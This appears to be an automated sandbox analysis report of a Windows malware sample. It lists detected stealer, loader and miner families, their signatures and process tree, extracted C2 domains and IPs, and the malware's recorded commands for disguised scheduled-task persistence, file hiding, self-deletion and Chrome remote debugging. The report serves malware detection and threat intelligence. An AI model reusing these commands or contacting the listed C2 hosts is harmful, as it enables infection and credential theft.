Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1577038
MD5:	838dfe4fdfe00acd5160ed5f7e5fe620
SHA1:	67c679c92a0fed7ebd5669645034988fcfc9c16d
SHA256:	a1aa2f3960356ac618995c25c51a91cabb963a878a45ac0213bbe5bc478772ef
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Cryptbot, LummaC Stealer, Poverty Stealer, RHADAMANTHYS, Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Cryptbot

Yara detected LummaC Stealer

Yara detected Poverty Stealer

Yara detected RHADAMANTHYS Stealer

Yara detected Xmrig cryptocurrency miner

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Checks if the current machine is a virtual machine (disk enumeration)

Contains functionality to inject code into remote processes

Drops password protected ZIP file

Found evasive API chain (may stop execution after checking mutex)

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Leaks process information

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the context of a thread in another process (thread injection)

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Uses cmd line tools excessively to alter registry or file data

Uses ping.exe to check the status of other devices and networks

Uses schtasks.exe or at.exe to add and modify task schedules

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Enables security privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Browser Started with Remote Debugging

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: Uncommon Svchost Parent Process

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara detected Keylogger Generic

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 4936 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 838DFE4FDFE00ACD5160ED5F7E5FE620)

skotes.exe (PID: 5628 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 838DFE4FDFE00ACD5160ED5F7E5FE620)

skotes.exe (PID: 7592 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 838DFE4FDFE00ACD5160ED5F7E5FE620)

DxfmGsU.exe (PID: 7824 cmdline: "C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe" MD5: D7F262A8282BE1508048344C20404DE9)

475e05f959.exe (PID: 7868 cmdline: "C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

conhost.exe (PID: 7876 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

475e05f959.exe (PID: 7968 cmdline: "C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

93b1627660.exe (PID: 8072 cmdline: "C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe" MD5: D001AE31BA54295C5FFEAC731279A162)

chrome.exe (PID: 5076 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1376 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2276 --field-trial-handle=2180,i,16211811774581553448,15495280197466442356,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

5d99420dfa.exe (PID: 4124 cmdline: "C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe" MD5: 43E41AEC9E2C027A0316B7500F14B9D4)

791c6803ad.exe (PID: 6496 cmdline: "C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe" MD5: 3A425626CBD40345F5B8DDDD6B2B9EFA)

cmd.exe (PID: 7176 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5628 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mode.com (PID: 4092 cmdline: mode 65,10 MD5: BEA7464830980BF7C0490307DB4FC875)

7z.exe (PID: 5660 cmdline: 7z.exe e file.zip -p24291711423417250691697322505 -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 2664 cmdline: 7z.exe e extracted/file_7.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 1004 cmdline: 7z.exe e extracted/file_6.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 7272 cmdline: 7z.exe e extracted/file_5.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 7316 cmdline: 7z.exe e extracted/file_4.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 7320 cmdline: 7z.exe e extracted/file_3.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 7252 cmdline: 7z.exe e extracted/file_2.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 7260 cmdline: 7z.exe e extracted/file_1.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

attrib.exe (PID: 5752 cmdline: attrib +H "in.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

in.exe (PID: 7244 cmdline: "in.exe" MD5: 83D75087C9BF6E4F07C36E550731CCDE)

attrib.exe (PID: 5552 cmdline: attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 3444 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 5264 cmdline: attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 1144 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7392 cmdline: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 7428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7424 cmdline: powershell ping 127.0.0.1; del in.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 5144 cmdline: "C:\Windows\system32\PING.EXE" 127.0.0.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

0626ec4ce0.exe (PID: 340 cmdline: "C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe" MD5: 0409213E636D8433F9BE61EAC00CDB3F)

svchost.exe (PID: 404 cmdline: "C:\Windows\System32\svchost.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

WerFault.exe (PID: 5212 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 340 -s 652 MD5: C31336C1EFC2CCB44B4326EA793040F2)

b55b5c2bf3.exe (PID: 3696 cmdline: "C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe" MD5: 8A9CB17C0224A01BD34B46495983C50A)

conhost.exe (PID: 6048 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

b55b5c2bf3.exe (PID: 7416 cmdline: "C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe" MD5: 8A9CB17C0224A01BD34B46495983C50A)

94d5f3aad3.exe (PID: 3400 cmdline: "C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

conhost.exe (PID: 6040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

94d5f3aad3.exe (PID: 1168 cmdline: "C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

94d5f3aad3.exe (PID: 1648 cmdline: "C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

Intel_PTT_EK_Recertification.exe (PID: 2720 cmdline: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 83D75087C9BF6E4F07C36E550731CCDE)

explorer.exe (PID: 1784 cmdline: explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

svchost.exe (PID: 2260 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Name	Description	Attribution	Blogpost URLs	Link
Rhadamanthys	According to PCrisk, Rhadamanthys is a stealer-type malware, and as its name implies - it is designed to extract data from infected machines.At the time of writing, this malware is spread through malicious websites mirroring those of genuine software such as AnyDesk, Zoom, Notepad++, and others. Rhadamanthys is downloaded alongside the real program, thus diminishing immediate user suspicion. These sites were promoted through Google ads, which superseded the legitimate search results on the Google search engine.	Sandworm	https://0xmrmagnezi.github.io/malware%20analysis/Rhadamanthys/ https://blog.cyble.com/2023/01/12/rhadamanthys-new-stealer-spreading-through-google-ads/ https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023 https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.talosintelligence.com/highlighting-ta866-asylum-ambuscade/	https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

Threatname: LummaC

{"C2 url": ["sustainskelet.lat", "pancakedipyps.click", "crosshuaht.lat", "discokeyus.lat", "necklacebudi.lat", "grannyejh.lat", "energyaffai.lat", "aspecteirs.lat", "rapeflowwj.lat"], "Build id": "FATE99--test"}

Threatname: Poverty Stealer

{"C2 url": "185.244.212.106:2227"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	JoeSecurity_PovertyStealer	Yara detected Poverty Stealer	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\DxfmGsU[1].exe	JoeSecurity_PovertyStealer	Yara detected Poverty Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000034.00000002.3674964908.000000014040B000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000000.00000003.1771413470.0000000004E80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000034.00000002.3673344740.0000000000BE7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000002F.00000003.3211107486.00000000007B7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1812113403.0000000000E11000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000025.00000003.2965730238.0000000005510000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000005.00000003.2299564174.0000000004A60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000002F.00000003.3211759711.000000000075F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.2429732202.0000000000BD7000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_PovertyStealer	Yara detected Poverty Stealer	Joe Security
00000019.00000003.2948270838.0000000003230000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000034.00000002.3673344740.0000000000BC9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000025.00000003.2966024022.0000000005730000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000001.00000002.1843663722.0000000000801000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000025.00000002.2977348645.0000000003600000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000A.00000003.2728015751.0000000000BE9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000033.00000003.3408995294.000000000109A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000034.00000002.3674248985.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000006.00000000.2389263096.0000000000BD7000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_PovertyStealer	Yara detected Poverty Stealer	Joe Security
00000025.00000003.2962028752.0000000003560000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000019.00000003.2955258764.0000000005A70000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000019.00000003.2963371234.0000000005570000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000001.00000003.1803462393.0000000004E50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000019.00000003.2957164373.0000000005C90000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000029.00000003.3327635241.0000021C017A0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000029.00000003.3327635241.0000021C017A0000.00000004.00000001.00020000.00000000.sdmp	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
00000029.00000003.3327635241.0000021C017A0000.00000004.00000001.00020000.00000000.sdmp	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
Process Memory Space: DxfmGsU.exe PID: 7824	JoeSecurity_PovertyStealer	Yara detected Poverty Stealer	Joe Security
Process Memory Space: 475e05f959.exe PID: 7968	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 475e05f959.exe PID: 7968	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 475e05f959.exe PID: 7968	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 0626ec4ce0.exe PID: 340	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: svchost.exe PID: 404	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Click to see the 27 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
6.0.DxfmGsU.exe.bd0000.0.unpack	JoeSecurity_PovertyStealer	Yara detected Poverty Stealer	Joe Security
25.3.0626ec4ce0.exe.5c90000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
37.3.svchost.exe.5510000.0.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
6.2.DxfmGsU.exe.bd0000.0.unpack	JoeSecurity_PovertyStealer	Yara detected Poverty Stealer	Joe Security
37.3.svchost.exe.5730000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
37.3.svchost.exe.5510000.6.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
37.3.svchost.exe.5730000.7.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
37.3.svchost.exe.5510000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
25.3.0626ec4ce0.exe.5a70000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0.2.file.exe.e10000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
52.2.explorer.exe.140000000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
52.2.explorer.exe.140000000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
52.2.explorer.exe.140000000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
41.3.Intel_PTT_EK_Recertification.exe.21c017a0000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
41.3.Intel_PTT_EK_Recertification.exe.21c017a0000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x324cc8:$x1: donate.ssl.xmrig.com
41.3.Intel_PTT_EK_Recertification.exe.21c017a0000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x325978:$s1: %s/%s (Windows NT %lu.%lu 0x329580:$s3: \\.\WinRing0_ 0x2e3130:$s4: pool_wallet 0x2dd978:$s5: cryptonight 0x2dd988:$s5: cryptonight 0x2dd998:$s5: cryptonight 0x2dd9a8:$s5: cryptonight 0x2dd9c0:$s5: cryptonight 0x2dd9d0:$s5: cryptonight 0x2dd9e0:$s5: cryptonight 0x2dd9f8:$s5: cryptonight 0x2dda08:$s5: cryptonight 0x2dda20:$s5: cryptonight 0x2dda38:$s5: cryptonight 0x2dda48:$s5: cryptonight 0x2dda58:$s5: cryptonight 0x2dda68:$s5: cryptonight 0x2dda80:$s5: cryptonight 0x2dda98:$s5: cryptonight 0x2ddaa8:$s5: cryptonight 0x2ddab8:$s5: cryptonight
1.2.skotes.exe.800000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
41.3.Intel_PTT_EK_Recertification.exe.21c017a0000.0.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
41.3.Intel_PTT_EK_Recertification.exe.21c017a0000.0.raw.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
41.3.Intel_PTT_EK_Recertification.exe.21c017a0000.0.raw.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
Click to see the 15 entries

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe, ParentProcessId: 8072, ParentProcessName: 93b1627660.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default", ProcessId: 5076, ProcessName: chrome.exe

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, CommandLine: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, CommandLine|base64offset|contains: mj,, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "in.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\main\in.exe, ParentProcessId: 7244, ParentProcessName: in.exe, ProcessCommandLine: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, ProcessId: 7392, ProcessName: schtasks.exe

